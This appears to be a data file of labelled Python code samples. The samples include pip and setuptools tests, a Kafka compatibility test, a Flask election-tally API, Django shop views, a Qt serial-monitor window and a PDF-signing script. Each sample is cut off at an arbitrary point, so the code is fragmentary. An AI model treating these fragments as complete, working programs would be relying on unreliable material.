'data_file') assert os.path.isfile(data_file) # package data pkg_data = os.path.join( self.scheme['purelib'], 'sample', 'package_data.dat') assert os.path.isfile(pkg_data) def test_std_install(self, data, tmpdir): self.prep(data, tmpdir) wheel.move_wheel_files( self.name, self.req, self.src, scheme=self.scheme) self.assert_installed() def test_dist_info_contains_empty_dir(self, data, tmpdir): """""" Test that empty dirs are not installed """""" # e.g. https://github.com/pypa/pip/issues/1632#issuecomment-38027275 self.prep(data, tmpdir) src_empty_dir = os.path.join( self.src_dist_info, 'empty_dir', 'empty_dir') os.makedirs(src_empty_dir) assert os.path.isdir(src_empty_dir) wheel.move_wheel_files( self.name, self.req, self.src, scheme=self.scheme) self.assert_installed() assert not os.path.isdir( os.path.join(self.dest_dist_info, 'empty_dir')) class TestWheelBuilder(object): def test_skip_building_wheels(self, caplog): with patch('pip.wheel.WheelBuilder._build_one') as mock_build_one: wheel_req = Mock(is_wheel=True, editable=False) reqset = Mock(requirements=Mock(values=lambda: [wheel_req]), wheel_download_dir='/wheel/dir') wb = wheel.WheelBuilder(reqset, Mock()) wb.build() assert ""due to already being wheel"" in caplog.text() assert mock_build_one.mock_calls == [] def test_skip_building_editables(self, caplog): with patch('pip.wheel.WheelBuilder._build_one') as mock_build_one: editable_req = Mock(editable=True, is_wheel=False) reqset = Mock(requirements=Mock(values=lambda: [editable_req]), wheel_download_dir='/wheel/dir') wb = wheel.WheelBuilder(reqset, Mock()) wb.build() assert ""due to being editable"" in caplog.text() assert mock_build_one.mock_calls == [] ",1 "ith the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from ducktape.mark import parametrize from ducktape.utils.util import wait_until from kafkatest.services.console_consumer import ConsoleConsumer from kafkatest.services.kafka import KafkaService from kafkatest.services.verifiable_producer import VerifiableProducer from kafkatest.services.zookeeper import ZookeeperService from kafkatest.tests.produce_consume_validate import ProduceConsumeValidateTest from kafkatest.utils import is_int from kafkatest.version import LATEST_0_9, LATEST_0_10, TRUNK, KafkaVersion class MessageFormatChangeTest(ProduceConsumeValidateTest): def __init__(self, test_context): super(MessageFormatChangeTest, self).__init__(test_context=test_context) def setUp(self): self.topic = ""test_topic"" self.zk = ZookeeperService(self.test_context, num_nodes=1) self.zk.start() # Producer and consumer self.producer_throughput = 10000 self.num_producers = 1 self.num_consumers = 1 self.messages_per_producer = 100 def produce_and_consume(self, producer_version, consumer_version, group): self.producer = VerifiableProducer(self.test_context, self.num_producers, self.kafka, self.topic, throughput=self.producer_throughput, message_validator=is_int, version=KafkaVersion(producer_version)) self.consumer = ConsoleConsumer(self.test_context, self.num_consumers, self.kafka, self.topic, new_consumer=False, consumer_timeout_ms=30000, message_validator=is_int, version=KafkaVersion(consumer_version)) self.consumer.group_id = group self.run_produce_consume_validate(lambda: wait_until( lambda: self.producer.each_produced_at_least(self.messages_per_producer) == True, timeout_sec=120, backoff_sec=1, err_msg=""Producer did not produce all messages in reasonable amount of time"")) @parametrize(producer_version=str(TRUNK), consumer_version=str(TRUNK)) @parametrize(producer_version=str(LATEST_0_9), consumer_version=str(LATEST_0_9)) def test_compatibility(self, producer_version, consumer_version): """""" This tests performs the following checks: The workload is a mix of 0.9.x and 0.10.x producers and consumers that produce to and consume from a 0.10.x cluster 1. initially the topic is using message format 0.9.0 2. change the message format version for topic to 0.10.0 on the fly. 3. change the message format version for topic back to 0.9.0 on the fly. - The producers and consumers should not have any issue. - Note that for 0.9.x consumers/producers we only do steps 1 and 2 """""" self.kafka = KafkaService(self.test_context, num_nodes=3, zk=self.zk, version=TRUNK, topics={self.topic: { ""partitions"": 3, ""replication-factor"": 3, 'configs': {""min.insync.replicas"": 2}}}) self.kafka.start() self.logger.info(""First format change to 0.9.0"") self.kafka.alter_message_format(self.topic, str(LATEST_0_9)) self.produce_and_consume(producer_version, consumer_version, ""group1"") self.logger.info(""Second format change to 0.10.0"") self.kafka.alter_message_format(self.topic, str(LATEST_0_10)) self.produce_and_consume(producer_version, consumer_version, ""group2"") if producer_version == str(TRUNK) and consumer_version == str(TRUNK): self.logger.info(""Third format change back to 0.9.0"") self.kafka.alter_message_format(self.topic, str(LATEST_0_9)) self.produce_and_consume(producer_version, consumer_version, ""group3"") ",1 "t pickle import base64 import json import re from datetime import datetime from flask import Blueprint, request, make_response, abort from frestq.utils import loads, dumps from frestq.tasks import SimpleTask, TaskError from frestq.app import app, db from models import Election, Authority, QueryQueue from create_election.performer_jobs import check_election_data from taskqueue import queue_task, apply_task, dequeue_task public_api = Blueprint('public_api', __name__) def error(status, message=""""): if message: data = json.dumps(dict(message=message)) else: data="""" return make_response(data, status) @public_api.route('/dequeue', methods=['GET']) def dequeue(): try: dequeue_task() except Exception as e: return make_response(dumps(dict(status=e.message)), 202) return make_response(dumps(dict(status=""ok"")), 202) @public_api.route('/election', methods=['POST']) def post_election(): ''' POST /election Creates an election, with the given input data. This involves communicating with the different election authorities to generate the joint public key. Example request: POST /election { ""id"": 1110, ""title"": ""Votación de candidatos"", ""description"": ""Selecciona los documentos polí­tico, ético y organizativo con los que Podemos"", ""director"": ""wadobo-auth1"", ""authorities"": ""openkratio-authority"", ""layout"": ""pcandidates-election"", ""presentation"": { ""share_text"": ""lo que sea"", ""theme"": ""foo"", ""urls"": [ { ""title"": """", ""url"": """" } ], ""theme_css"": ""whatever"" }, ""end_date"": ""2013-12-09T18:17:14.457000"", ""start_date"": ""2013-12-06T18:17:14.457000"", ""questions"": [ { ""description"": """", ""layout"": ""pcandidates-election"", ""max"": 1, ""min"": 0, ""num_winners"": 1, ""title"": ""Secretarí­a General"", ""randomize_answer_order"": true, ""tally_type"": ""plurality-at-large"", ""answer_total_votes_percentage"": ""over-total-valid-votes"", ""answers"": [ { ""id"": 0, ""category"": ""Equipo de Enfermeras"", ""details"": """", ""sort_order"": 1, ""urls"": [ { ""title"": """", ""url"": """" } ], ""text"": ""Fulanita de tal"", } ] } ], ""authorities"": [ { ""name"": ""Asociación Sugus GNU/Linux"", ""orchestra_url"": ""https://sugus.eii.us.es/orchestra"", ""ssl_cert"": ""-----BEGIN CERTIFICATE-----\nMIIFATCCA+mgAwIBAgIQAOli4NZQEWpKZeYX25jjwDANBgkqhkiG9w0BAQUFADBz\n8YOltJ6QfO7jNHU9jh/AxeiRf6MibZn6fvBHvFCrVBvDD43M0gdhMkVEDVNkPaak\nC7AHA/waXZ2EwW57Chr2hlZWAkwkFvsWxNt9BgJAJJt4CIVhN/iau/SaXD0l0t1N\nT0ye54QPYl38Eumvc439Yd1CeVS/HYbP0ISIfpNkkFA5TiQdoA==\n-----END CERTIFICATE-----"" }, { ""name"": ""Agora Ciudadana"", ""orchestra_url"": ""https://agoravoting.com:6874/orchestra"", ""ssl_cert"": ""-----BEGIN CERTIFICATE-----\nMIIFATCCA+mgAwIBAgIQAOli4NZQEWpKZeYX25jjwDANBgkqhkiG9w0BAQUFADBz\n8YOltJ6QfO7jNHU9jh/AxeiRf6MibZn6fvBHvFCrVBvDD43M0gdhMkVEDVNkPaak\nC7AHA/waXZ2EwW57Chr2hlZWAkwkFvsWxNt9BgJAJJt4CIVhN/iau/SaXD0l0t1N\nT0ye54QPYl38Eumvc439Yd1CeVS/HYbP0ISIfpNkkFA5TiQdoA==\n-----END CERTIFICATE-----"" }, { ""name"": ""Wadobo Labs"", ""orchestra_url"": ""https://wadobo.com:6874/orchestra"", ""ssl_cert"": ""-----BEGIN CERTIFICATE-----\nMIIFATCCA+mgAwIBAgIQAOli4NZQEWpKZeYX25jjwDANBgkqhkiG9w0BAQUFADBz\n8YOltJ6QfO7jNHU9jh/AxeiRf6MibZn6fvBHvFCrVBvDD43M0gdhMkVEDVNkPaak\nC7AHA/waXZ2EwW57Chr2hlZWAkwkFvsWxNt9BgJAJJt4CIVhN/iau/SaXD0l0t1N\nT0ye54QPYl38Eumvc439Yd1CeVS/HYbP0ISIfpNkkFA5TiQdoA==\n-----END CERTIFICATE-----"" } ] } On success, response is empty with status 202 Accepted and returns something like: { ""task_id"": ""ba83ee09-aa83-1901-bb11-e645b52fc558"", } When the election finally gets processed, the callback_url is called with a POST containing the protInfo.xml file generated jointly by each authority, following this example response: { ""status"": ""finished"", ""reference"": { ""election_id"": ""d9e5ee09-03fa-4890-aa83-2fc558e645b5"", ""action"": ""POST /election"" }, ""session_data"": [{ ""session_id"": ""deadbeef-03fa-4890-aa83-2fc558e645b5"", ""publickey"": [""""] }] } Note that this protInfo.xml will contain the election public key, but also some other information. In particular, it's worth noting that the http and hint servers' urls for each authority could change later, if election-orchestra needs it. If there was an error, then the callback will be called following this example format: { ""status"": ""error"", ""reference"": { ""session_id"": ""d9e5ee09-03fa-4890-aa83-2fc558e645b5"", ""action"": ""POST /election"" }, ""data"": { ""message"": ""error message"" } } ''' data = request.get_json(force=True, silent=True) d = base64.b64encode(pickle.dumps(data)).decode('utf-8') queueid = queue_task(task='election', data=d) return make_response(dumps(dict(queue_id=queueid)), 202) @public_api.route('/tally', methods=['POST']) def post_tally(): ''' POST /tally Tallies an election, with the given input data. This involves communicating with the different election authorities to do the tally. Example request: POST /tally { ""election_id"": 111, ""callback_url"": ""https://127.0.0.1:5000/public_api/receive_tally"", ""votes_url"": ""https://127.0.0.1:5000/public_data/vota4/encrypted_ciphertexts"", ""votes_hash"": ""ni:///sha-256;f4OxZX_x_FO5LcGBSKHWXfwtSx-j1ncoSt3SABJtkGk"" } On success, response is empty with status 202 Accepted and returns something like: { ""task_id"": ""ba83ee09-aa83-1901-bb11-e645b52fc558"", } When the election finally gets processed, the callback_url is called with POST similar to the following example: { ""status"": ""finished"", ""reference"": { ""election_id"": ""d9e5ee09-03fa-4890-aa83-2fc558e645b5"", ""action"": ""POST /tally"" }, ""data"": { ""votes_url"": ""https://127.0.0.1:5000/public_data/vota4/tally.tar.bz2"", ""votes_hash"": ""ni:///sha-256;f4OxZX_x_FO5LcGBSKHWXfwtSx-j1ncoSt3SABJtkGk"" } } If there was an error, then the callback will be called following this example format: { ""status"": ""error"", ""reference"": { ""election_id"": ""d9e5ee09-03fa-4890-aa83-2fc558e645b5"", ""action"": ""POST /tally"" }, ""data"": { ""message"": ""error message"" } } ''' # first of all, parse input data data = request.get_json(force=True, silent=True) d = base64.b64encode(pickle.dumps(data)).decode('utf-8') queueid = queue_task(task='tally', data=d) return make_response(dumps(dict(queue_id=queueid)), 202) @public_api.route('/receive_election', methods=['POST']) def receive_election(): ''' This is a test route to be able to test that callbacks are correctly sent ''' print(""ATTENTION received election callback: "") print(request.get_json(force=True, silent=True)) return make_response("""", 202) @public_api.route('/receive_tally', methods=['POST']) def receive_tally(): ''' This is a test route to be able to test that callbacks are correctly sent ''' print(""ATTENTION received tally callback: "") print(request.get_json(force=True, silent=True)) return make_response("""", 202) ",1 " django.views.generic import ListView, DetailView from .models import Category, Product from cart.forms import CartAddProductForm def category_list(request): return render(request, ""shop/category_list.html"", {'nodes': Category.objects.all()}) ''' class CategoryList(ListView): model = Category template_name = ""category_list.html"" ''' def product_list(request, category_slug=None): category = None categories = Category.objects.all() products = Product.objects.filter(available=True) if category_slug: category = get_object_or_404(Category, slug=category_slug) products = products.filter(category=category) return render(request, ""shop/product_list.html"", {'category': category, 'nodes': categories, 'products': products,}) ''' class ProductList(ListView): model = DesignProduct template_name = ""shop/product_list.html"" ''' def product_detail(request, id, slug): categories = Category.objects.all() product = get_object_or_404(Product, id=id, slug=slug, available=True) cart_product_form = CartAddProductForm() return render(request, 'shop/product_detail.html', {'product': product, 'nodes': categories, 'cart_product_form': cart_product_form})",1 "import json import serial from qtpy.QtWidgets import QAction, QDialog, QMainWindow, QMessageBox, \ QDockWidget, QLabel, QFileDialog, QApplication from qtpy.QtGui import QIcon from qtpy.QtCore import QSettings, QCoreApplication, Qt, QThread, \ Signal from serial.serialutil import SerialException from jsonwatch.jsonitem import JsonItem from jsonwatch.jsonnode import JsonNode from jsonwatchqt.logger import LoggingWidget from pyqtconfig.config import QSettingsManager from jsonwatchqt.plotsettings import PlotSettingsWidget from jsonwatchqt.objectexplorer import ObjectExplorer from jsonwatchqt.plotwidget import PlotWidget from jsonwatchqt.serialdialog import SerialDialog, PORT_SETTING, \ BAUDRATE_SETTING from jsonwatchqt.utilities import critical, pixmap from jsonwatchqt.recorder import RecordWidget from jsonwatchqt.csvsettings import CSVSettingsDialog, DECIMAL_SETTING, \ SEPARATOR_SETTING logger = logging.getLogger(""jsonwatchqt.mainwindow"") WINDOWSTATE_SETTING = ""mainwindow/windowstate"" GEOMETRY_SETTING = ""mainwindow/geometry"" FILENAME_SETTING = ""mainwindow/filename"" def strip(s): return s.strip() def utf8_to_bytearray(x): return bytearray(x, 'utf-8') def bytearray_to_utf8(x): return x.decode('utf-8') def set_default_settings(settings: QSettingsManager): settings.set_defaults({ DECIMAL_SETTING: ',', SEPARATOR_SETTING: ';' }) class SerialWorker(QThread): data_received = Signal(datetime.datetime, str) def __init__(self, ser: serial.Serial, parent=None): super().__init__(parent) self.serial = ser self._quit = False def run(self): while not self._quit: try: if self.serial.isOpen() and self.serial.inWaiting(): self.data_received.emit( datetime.datetime.now(), strip(bytearray_to_utf8(self.serial.readline())) ) except SerialException: pass def quit(self): self._quit = True class MainWindow(QMainWindow): def __init__(self, parent=None): super().__init__(parent) self.recording_enabled = False self.serial = serial.Serial() self.rootnode = JsonNode('') self._connected = False self._dirty = False self._filename = None # settings self.settings = QSettingsManager() set_default_settings(self.settings) # Controller Settings self.settingsDialog = None # object explorer self.objectexplorer = ObjectExplorer(self.rootnode, self) self.objectexplorer.nodevalue_changed.connect(self.send_serialdata) self.objectexplorer.nodeproperty_changed.connect(self.set_dirty) self.objectexplorerDockWidget = QDockWidget(self.tr(""object explorer""), self) self.objectexplorerDockWidget.setObjectName( ""objectexplorer_dockwidget"") self.objectexplorerDockWidget.setWidget(self.objectexplorer) # plot widget self.plot = PlotWidget(self.rootnode, self.settings, self) # plot settings self.plotsettings = PlotSettingsWidget(self.settings, self.plot, self) self.plotsettingsDockWidget = QDockWidget(self.tr(""plot settings""), self) self.plotsettingsDockWidget.setObjectName(""plotsettings_dockwidget"") self.plotsettingsDockWidget.setWidget(self.plotsettings) # log widget self.loggingWidget = LoggingWidget(self) self.loggingDockWidget = QDockWidget(self.tr(""logger""), self) self.loggingDockWidget.setObjectName(""logging_dockwidget"") self.loggingDockWidget.setWidget(self.loggingWidget) # record widget self.recordWidget = RecordWidget(self.rootnode, self) self.recordDockWidget = QDockWidget(self.tr(""data recording""), self) self.recordDockWidget.setObjectName(""record_dockwidget"") self.recordDockWidget.setWidget(self.recordWidget) # actions and menus self._init_actions() self._init_menus() # statusbar statusbar = self.statusBar() statusbar.setVisible(True) self.connectionstateLabel = QLabel(self.tr(""Not connected"")) statusbar.addPermanentWidget(self.connectionstateLabel) statusbar.showMessage(self.tr(""Ready"")) # layout self.setCentralWidget(self.plot) self.addDockWidget(Qt.LeftDockWidgetArea, self.objectexplorerDockWidget) self.addDockWidget(Qt.LeftDockWidgetArea, self.plotsettingsDockWidget) self.addDockWidget(Qt.BottomDockWidgetArea, self.loggingDockWidget) self.addDockWidget(Qt.BottomDockWidgetArea, self.recordDockWidget) self.load_settings() def _init_actions(self): # Serial Dialog self.serialdlgAction = QAction(self.tr(""Serial Settings...""), self) self.serialdlgAction.setShortcut(""F6"") self.serialdlgAction.setIcon(QIcon(pixmap(""configure.png""))) self.serialdlgAction.triggered.connect(self.show_serialdlg) # Connect self.connectAction = QAction(self.tr(""Connect""), self) self.connectAction.setShortcut(""F5"") self.connectAction.setIcon(QIcon(pixmap(""network-connect-3.png""))) self.connectAction.triggered.connect(self.toggle_connect) # Quit self.quitAction = QAction(self.tr(""Quit""), self) self.quitAction.setShortcut(""Alt+F4"") self.quitAction.setIcon(QIcon(pixmap(""window-close-3.png""))) self.quitAction.triggered.connect(self.close) # Save Config as self.saveasAction = QAction(self.tr(""Save as...""), self) self.saveasAction.setShortcut(""Ctrl+Shift+S"") self.saveasAction.setIcon(QIcon(pixmap(""document-save-as-5.png""))) self.saveasAction.triggered.connect(self.show_savecfg_dlg) # Save file self.saveAction = QAction(self.tr(""Save""), self) self.saveAction.setShortcut(""Ctrl+S"") self.saveAction.setIcon(QIcon(pixmap(""document-save-5.png""))) self.saveAction.triggered.connect(self.save_file) # Load file self.loadAction = QAction(self.tr(""Open...""), self) self.loadAction.setShortcut(""Ctrl+O"") self.loadAction.setIcon(QIcon(pixmap(""document-open-7.png""))) self.loadAction.triggered.connect(self.show_opencfg_dlg) # New self.newAction = QAction(self.tr(""New""), self) self.newAction.setShortcut(""Ctrl+N"") self.newAction.setIcon(QIcon(pixmap(""document-new-6.png""))) self.newAction.triggered.connect(self.new) # start recording self.startrecordingAction = QAction(self.tr(""Start recording""), self) self.startrecordingAction.setShortcut(""F9"") self.startrecordingAction.setIcon(QIcon(pixmap(""media-record-6.png""))) self.startrecordingAction.triggered.connect(self.start_recording) # stop recording self.stoprecordingAction = QAction(self.tr(""Stop recording""), self) self.stoprecordingAction.setShortcut(""F10"") self.stoprecordingAction.setIcon(QIcon(pixmap(""media-playback-stop-8.png""))) self.stoprecordingAction.setEnabled(False) self.stoprecordingAction.triggered.connect(self.stop_recording) # clear record self.clearrecordAction = QAction(self.tr(""Clear""), self) self.clearrecordAction.setIcon(QIcon(pixmap(""editclear.png""))) self.clearrecordAction.triggered.connect(self.clear_record) # export record self.exportcsvAction = QAction(self.tr(""Export to csv...""), self) self.exportcsvAction.setIcon(QIcon(pixmap(""text_csv.png""))) self.exportcsvAction.triggered.connect(self.export_csv) # show record settings self.recordsettingsAction = QAction(self.tr(""Settings...""), self) self.recordsettingsAction.setIcon(QIcon(pixmap(""configure.png""))) self.recordsettingsAction.triggered.connect(self.show_recordsettings) # Info self.infoAction = QAction(self.tr(""Info""), self) self.infoAction.setShortcut(""F1"") self.infoAction.triggered.connect(self.show_info) def _init_menus(self): # file menu self.fileMenu = self.menuBar().addMenu(self.tr(""File"")) self.fileMenu.addAction(self.newAction) self.fileMenu.addAction(self.loadAction) self.fileMenu.addAction(self.saveAction) self.fileMenu.addAction(self.saveasAction) self.fileMenu.addSeparator() self.fileMenu.addAction(self.connectAction) self.fileMenu.addAction(self.serialdlgAction) self.fileMenu.addSeparator() self.fileMenu.addAction(self.quitAction) # view menu self.viewMenu = self.menuBar().addMenu(self.tr(""View"")) self.viewMenu.addAction( self.objectexplorerDockWidget.toggleViewAction()) self.viewMenu.addAction(self.plotsettingsDockWidget.toggleViewAction()) self.viewMenu.addAction(self.loggingDockWidget.toggleViewAction()) self.viewMenu.addAction(self.recordDockWidget.toggleViewAction()) # record menu self.recordMenu = self.menuBar().addMenu(self.tr(""Record"")) self.recordMenu.addAction(self.startrecordingAction) self.recordMenu.addAction(self.stoprecordingAction) self.recordMenu.addAction(self.exportcsvAction) self.recordMenu.addSeparator() self.recordMenu.addAction(self.clearrecordAction) self.recordMenu.addSeparator() self.recordMenu.addAction(self.recordsettingsAction) # info menu self.menuBar().addAction(self.infoAction) def show_info(self): QMessageBox.about( self, QApplication.applicationName(), ""%s %s\n"" ""Copyright (c) by %s"" % ( QCoreApplication.applicationName(), QCoreApplication.applicationVersion(), QCoreApplication.organizationName(), ) ) def load_file(self, filename): old_filename = self.filename if self.filename != filename else None self.filename = filename try: with open(filename, 'rb') as f: try: self.objectexplorer.model().beginResetModel() self.rootnode.load(bytearray_to_utf8(f.read())) self.objectexplorer.model().endResetModel() except ValueError as e: critical(self, ""File '%s' is not a valid config file."" % filename) logger.error(str(e)) if old_filename is not None: self.load_file(old_filename) else: self.filename = None except FileNotFoundError as e: logger.error(str(e)) self.filename = None self.objectexplorer.refresh() def load_settings(self): settings = QSettings() # window geometry try: self.restoreGeometry(settings.value(GEOMETRY_SETTING)) except: logger.debug(""error restoring window geometry"") # window state try: self.restoreState(settings.value(WINDOWSTATE_SETTING)) except: logger.debug(""error restoring window state"") # filename self.filename = settings.value(FILENAME_SETTING) if self.filename is not None: self.load_file(self.filename) def save_settings(self): settings = QSettings() settings.setValue(WINDOWSTATE_SETTING, self.saveState()) settings.setValue(GEOMETRY_SETTING, self.saveGeometry()) settings.setValue(FILENAME_SETTING, self.filename) def closeEvent(self, event): if self.dirty: res = QMessageBox.question( self, QCoreApplication.applicationName(), self.tr(""Save changes to file '%s'?"" % self.filename if self.filename is not None else ""unknown""), QMessageBox.Yes | QMessageBox.No | QMessageBox.Cancel ) if res == QMessageBox.Cancel: event.ignore() return elif res == QMessageBox.Yes: self.save_file() self.save_settings() try: self.worker.quit() except AttributeError: pass try: self.serial.close() except (SerialException, AttributeError): pass def new(self): self.objectexplorer.model().beginResetModel() self.rootnode.clear() self.objectexplorer.model().endResetModel() def send_reset(self): jsonstring = json.dumps({""resetpid"": 1}) self.serial.write(bytearray(jsonstring, 'utf-8')) def receive_serialdata(self, time, data): self.loggingWidget.log_input(data) try: self.rootnode.from_json(data) except ValueError as e: logger.error(str(e)) # refresh widgets self.objectexplorer.refresh() self.plot.refresh(time) if self.recording_enabled: self.recordWidget.add_data(time, self.rootnode) def send_serialdata(self, node): if isinstance(node, JsonItem): if self.serial.isOpen(): s = node.to_json() self.serial.write(utf8_to_bytearray(s + '\n')) self.loggingWidget.log_output(s.strip()) def show_serialdlg(self): dlg = SerialDialog(self.settings, self) dlg.exec_() def toggle_connect(self): if self.serial.isOpen(): self.disconnect() else: self.connect() def connect(self): # Load port setting port = self.settings.get(PORT_SETTING) baudrate = self.settings.get(BAUDRATE_SETTING) # If no port has been selected before show serial settings dialog if port is None: if self.show_serialdlg() == QDialog.Rejected: return port = self.settings.get(PORT_SETTING) baudrate = self.settings.get(BAUDRATE_SETTING) # Serial connection try: self.serial.port = port self.serial.baudrate = baudrate self.serial.open() except ValueError: QMessageBox.critical( self, QCoreApplication.applicationName(), self.tr(""Serial parameters e.g. baudrate, databits are out "" ""of range."") ) except SerialException: QMessageBox.critical( self, QCoreApplication.applicationName(), self.tr(""The device '%s' can not be found or can not be "" ""configured."" % port) ) else: self.worker = SerialWorker(self.serial, self) self.worker.data_received.connect(self.receive_serialdata) self.worker.start() self.connectAction.setText(self.tr(""Disconnect"")) self.connectAction.setIcon(QIcon(pixmap(""network-disconnect-3.png""))) self.serialdlgAction.setEnabled(False) self.connectionstateLabel.setText( self.tr(""Connected to %s"") % port) self._connected = True self.objectexplorer.refresh() def disconnect(self): self.worker.quit() self.serial.close() self.connectAction.setText(self.tr(""Connect"")) self.connectAction.setIcon(QIcon(pixmap(""network-connect-3.png""))) self.serialdlgAction.setEnabled(True) self.connectionstateLabel.setText(self.tr(""Not connected"")) self._connected = False self.objectexplorer.refresh() def show_savecfg_dlg(self): filename, _ = QFileDialog.getSaveFileName( self, self.tr(""Save configuration file...""), directory=os.path.expanduser(""~""), filter=""Json file (*.json)"" ) if filename: self.filename = filename self.save_file() def save_file(self): if self.filename is not None: config_string = self.rootnode.dump() with open(self.filename, 'w') as f: f.write(config_string) self.dirty = False else: self.show_savecfg_dlg() def show_opencfg_dlg(self): # show file dialog filename, _ = QFileDialog.getOpenFileName( self, self.tr(""Open configuration file...""), directory=os.path.expanduser(""~""), filter=self.tr(""Json file (*.json);;All files (*.*)"") ) # load config file if filename: self.load_file(filename) def refresh_window_title(self): s = ""%s %s"" % (QCoreApplication.applicationName(), QCoreApplication.applicationVersion()) if self.filename is not None: s += "" - "" + self.filename if self.dirty: s += ""*"" self.setWindowTitle(s) def start_recording(self): self.recording_enabled = True self.startrecordingAction.setEnabled(False) self.stoprecordingAction.setEnabled(True) def stop_recording(self): self.recording_enabled = False self.startrecordingAction.setEnabled(True) self.stoprecordingAction.setEnabled(False) def export_csv(self): filename, _ = QFileDialog.getSaveFileName( self, QCoreApplication.applicationName(), filter=""CSV files(*.csv);;All files (*.*)"" ) if filename == """": return # get current dataframe and export to csv df = self.recordWidget.dataframe decimal = self.settings.get(DECIMAL_SETTING) df = df.applymap(lambda x: str(x).replace(""."", decimal)) df.to_csv( filename, index_label=""time"", sep=self.settings.get(SEPARATOR_SETTING) ) def clear_record(self): self.recordWidget.clear() def show_recordsettings(self): dlg = CSVSettingsDialog(self) dlg.exec_() # filename property @property def filename(self): return self._filename @filename.setter def filename(self, value=""""): self._filename = value self.refresh_window_title() # dirty property @property def dirty(self): return self._dirty @dirty.setter def dirty(self, value): self._dirty = value self.refresh_window_title() def set_dirty(self): self.dirty = True # connected property @property def connected(self): return self._connected ",1 " = argparse.ArgumentParser(""Add signatures to PDF files"") parser.add_argument(""pdf"", help=""The pdf file to annotate"") parser.add_argument(""signature"", help=""The signature file (png, jpg)"") parser.add_argument(""--date"", action='store_true') parser.add_argument(""--output"", nargs='?', help=""Output file. Defaults to input filename plus '_signed'"") parser.add_argument(""--coords"", nargs='?', default='2x100x100x125x40', help=""Coordinates to place signature. Format: PAGExXxYxWIDTHxHEIGHT. 1x200x300x125x40 means page 1, 200 units horizontally from the bottom left, 300 units vertically from the bottom left, 125 units wide, 40 units tall. Pages count starts at 1 (1-based indexing). Units are pdf-standard units (1/72 inch)."") def _get_tmp_filename(suffix="".pdf""): with tempfile.NamedTemporaryFile(suffix="".pdf"") as fh: return fh.name def sign_pdf(args): #TODO: use a gui or something.... for now, just trial-and-error the coords page_num, x1, y1, width, height = [int(a) for a in args.coords.split(""x"")] page_num -= 1 output_filename = args.output or ""{}_signed{}"".format( *os.path.splitext(args.pdf) ) pdf_fh = open(args.pdf, 'rb') sig_tmp_fh = None pdf = PyPDF2.PdfFileReader(pdf_fh) writer = PyPDF2.PdfFileWriter() sig_tmp_filename = None for i in range(0, pdf.getNumPages()): page = pdf.getPage(i) if i == page_num: # Create PDF for signature sig_tmp_filename = _get_tmp_filename() c = canvas.Canvas(sig_tmp_filename, pagesize=page.cropBox) c.drawImage(args.signature, x1, y1, width, height, mask='auto') if args.date: c.drawString(x1 + width, y1, datetime.datetime.now().strftime(""%Y-%m-%d"")) c.showPage() c.save() # Merge PDF in to original page sig_tmp_fh = open(sig_tmp_filename, 'rb') sig_tmp_pdf = PyPDF2.PdfFileReader(sig_tmp_fh) sig_page = sig_tmp_pdf.getPage(0) sig_page.mediaBox = page.mediaBox page.mergePage(sig_page) writer.addPage(page) with open(output_filename, 'wb') as fh: writer.write(fh) for handle in [pdf_fh, sig_tmp_fh]: if handle: handle.close() if sig_tmp_filename: os.remove(sig_tmp_filename) def main(): sign_pdf(parser.parse_args()) if __name__ == ""__main__"": main() ",1 " posixpath from StringIO import StringIO from setuptools.command.sdist import sdist from setuptools.command.egg_info import manifest_maker from setuptools.dist import Distribution SETUP_ATTRS = { 'name': 'sdist_test', 'version': '0.0', 'packages': ['sdist_test'], 'package_data': {'sdist_test': ['*.txt']} } SETUP_PY = """"""\ from setuptools import setup setup(**%r) """""" % SETUP_ATTRS if sys.version_info >= (3,): LATIN1_FILENAME = 'smörbröd.py'.encode('latin-1') else: LATIN1_FILENAME = 'sm\xf6rbr\xf6d.py' # Cannot use context manager because of Python 2.4 def quiet(): global old_stdout, old_stderr old_stdout, old_stderr = sys.stdout, sys.stderr sys.stdout, sys.stderr = StringIO(), StringIO() def unquiet(): sys.stdout, sys.stderr = old_stdout, old_stderr # Fake byte literals to shut up Python <= 2.5 def b(s, encoding='utf-8'): if sys.version_info >= (3,): return s.encode(encoding) return s # HFS Plus returns decomposed UTF-8 def decompose(path): if isinstance(path, unicode): return unicodedata.normalize('NFD', path) try: path = path.decode('utf-8') path = unicodedata.normalize('NFD', path) path = path.encode('utf-8') except UnicodeError: pass # Not UTF-8 return path # HFS Plus quotes unknown bytes like so: %F6 def hfs_quote(path): if isinstance(path, unicode): raise TypeError('bytes are required') try: u = path.decode('utf-8') except UnicodeDecodeError: path = urllib.quote(path) # Not UTF-8 else: if sys.version_info >= (3,): path = u return path class TestSdistTest(unittest.TestCase): def setUp(self): self.temp_dir = tempfile.mkdtemp() f = open(os.path.join(self.temp_dir, 'setup.py'), 'w') f.write(SETUP_PY) f.close() # Set up the rest of the test package test_pkg = os.path.join(self.temp_dir, 'sdist_test') os.mkdir(test_pkg) # *.rst was not included in package_data, so c.rst should not be # automatically added to the manifest when not under version control for fname in ['__init__.py', 'a.txt', 'b.txt', 'c.rst']: # Just touch the files; their contents are irrelevant open(os.path.join(test_pkg, fname), 'w').close() self.old_cwd = os.getcwd() os.chdir(self.temp_dir) def tearDown(self): os.chdir(self.old_cwd) shutil.rmtree(self.temp_dir) def test_package_data_in_sdist(self): """"""Regression test for pull request #4: ensures that files listed in package_data are included in the manifest even if they're not added to version control. """""" dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' cmd = sdist(dist) cmd.ensure_finalized() # squelch output quiet() try: cmd.run() finally: unquiet() manifest = cmd.filelist.files self.assertTrue(os.path.join('sdist_test', 'a.txt') in manifest) self.assertTrue(os.path.join('sdist_test', 'b.txt') in manifest) self.assertTrue(os.path.join('sdist_test', 'c.rst') not in manifest) def test_manifest_is_written_with_utf8_encoding(self): # Test for #303. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' mm = manifest_maker(dist) mm.manifest = os.path.join('sdist_test.egg-info', 'SOURCES.txt') os.mkdir('sdist_test.egg-info') # UTF-8 filename filename = posixpath.join('sdist_test', 'smörbröd.py') # Add UTF-8 filename and write manifest quiet() try: mm.run() mm.filelist.files.append(filename) mm.write_manifest() finally: unquiet() manifest = open(mm.manifest, 'rbU') contents = manifest.read() manifest.close() # The manifest should be UTF-8 encoded try: u = contents.decode('UTF-8') except UnicodeDecodeError, e: self.fail(e) # The manifest 